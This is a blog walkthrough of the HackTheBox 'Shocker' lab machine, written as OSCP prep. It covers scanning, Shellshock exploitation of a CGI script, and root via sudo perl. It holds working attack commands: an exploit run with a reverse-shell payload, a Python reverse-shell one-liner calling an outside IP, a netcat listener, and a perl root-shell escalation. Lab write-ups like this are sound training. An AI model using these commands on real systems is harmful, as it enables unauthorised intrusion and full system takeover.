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Cover image for Writeup: HackTheBox Shocker- Without Metasploit (OSCP Prep)
Chris
Chris

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Writeup: HackTheBox Shocker- Without Metasploit (OSCP Prep)

Hello All,

Thing's have gotten a little serious as I have bought my OSCP Certification attempt. So I will hopefully pushing out more HTB write-ups over the next 2 weeks.

Let's begin!!

Command:

Nmap -sC -sV -T4 -oN nmap.txt -vvv 10.10.10.56

  1. -sC = Default Scripts
  2. -sV = Probe open ports to determine service/Versions info
  3. -T4 = Set timing for faster output (0-5)
  4. -oN = Output to save it to a file
  5. -vvv = 9 different levels and will cause Nping to print more information during execution more reading link

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Port Opens:

  1. 80 TCP HTTP
  2. 2222 TCP SSH

Let's run a full port scan to see if we missed anything here.

Command:

nmap -p- -oN allports.txt 10.10.10.56

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So nothing else actually returns which is a bummer.

Let's try and run a quick Vuln scan just for kicks.

Command:

nmap --script vuln -oN vuln.txt 10.10.10.56

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Nothing here pops out to me so lets move on to the site so lets check out the source.

Command:

Right-click

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I hit some snags with Dirb so I am going to use Dirbuster.

From a non-root windows do the following.

Command:

dirbuster
This should take a min then open up a new terminal.

Key items to pay attention to:
Target URL
File with list of dirs/files
File Extension

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Looks like we found a file user.sh on the machine that we might be able to access.

You can right click it or manual go to it in the webpage.

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So after looking into /cgi-bin/ and the name of the box it appears it could be hit with ShellShock.

Command:

nmap -sV -p80 --script http-shellshock --script-args uri=/cgi-bin/user.sh,cmd=ls 10.10.10.56

How did I know to use this? Nmap link

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Now that we know we have a way in lets go over to Searchsploit.

Command:

searchsploit shellshock

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I am going with this one because its a RCE Injection that is also a python script. The other ones listed are Txt files which are a little funky to me.

Use the CP command to copy the exploit to your file location or locate it in the Exploit-DB repo and download it.

Okay so lets look at the exploit code.

Command:

nano exploit.py

If you scroll down you get some options on how to run the exploit without having to alter it.

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To confirm you can run the code test it.

Command:

python exploit.py

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Command:

python exploit.py payload=revese rhost=10.10.10.56 lhost=tun0 lport=8080 pages=/cgi-bin/user.sh

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Command:

ls

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Nice!

Here we will see what we can do with Sudo.

Command:

Sudo -l

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It appears we can Root with no password from the /usr/bin/perl location.

Heading over to google to confirm my thinking.

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Also the HackingArticles provides a really great resource for comands link

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Command:

sudo perl -e 'exec "/bin/bash";'
id
whoami

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Command:

wc root.txt

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Another way to do this for a more stable shell!

After the initial access on the machine.

Command:

which python3

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From here head over to Payload all the Things Github link

Command:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

Update the IP address to your tun0 address.

Command:

Use the command above!

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Before hitting enter, open up Netcat on another window.

Command:

nc -nvlp 1234

We can now run the same priv esc as before. This time we will be on a more stable instance!

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Way to go you got it!!

Top comments (1)

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wireless90 profile image
wireless90

root NOPASSWD: perl

So the above means, we can execute perl with root permisions and we dont need to enter password?